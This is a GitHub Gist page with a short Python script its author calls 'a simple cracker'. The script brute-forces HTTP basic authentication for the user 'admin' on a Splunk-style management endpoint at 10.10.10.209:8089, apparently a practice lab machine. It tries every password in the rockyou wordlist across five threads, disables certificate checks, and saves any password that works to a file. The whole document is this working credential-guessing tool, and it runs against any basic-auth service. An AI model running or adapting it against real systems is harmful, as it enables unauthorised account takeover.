Last active
September 29, 2020 11:13
-
-
Save hegzploit/e6bb5b03f8e2683ea87a2d9a7a677d96 to your computer and use it in GitHub Desktop.
A simple cracker i made with requests and multiprocessing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import multiprocessing.dummy as mp | |
import requests | |
#curl -k -u admin:pass https://10.10.10.209:8089/services | |
requests.packages.urllib3.disable_warnings() | |
URL = "https://10.10.10.209:8089/services" | |
USERNAME = 'admin' | |
passwords = open("/usr/share/KaliLists/rockyou.txt", 'rb').read().strip().splitlines() | |
count_progress = 0 | |
def brute(pwd): | |
global count_progress | |
print("{}/{}".format(count_progress, len(passwords))) | |
try: | |
r = requests.get(URL, verify=False, auth=(USERNAME, pwd.decode())) | |
if(r.status_code!=401): | |
print("found password: {}".format(pwd)) | |
with open("pass.txt", 'w') as f: | |
f.write(pwd.decode()) | |
except: | |
pass | |
count_progress += 1 | |
if __name__ == "__main__": | |
p=mp.Pool(5) | |
p.map(brute, passwords) | |
p.close() | |
p.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment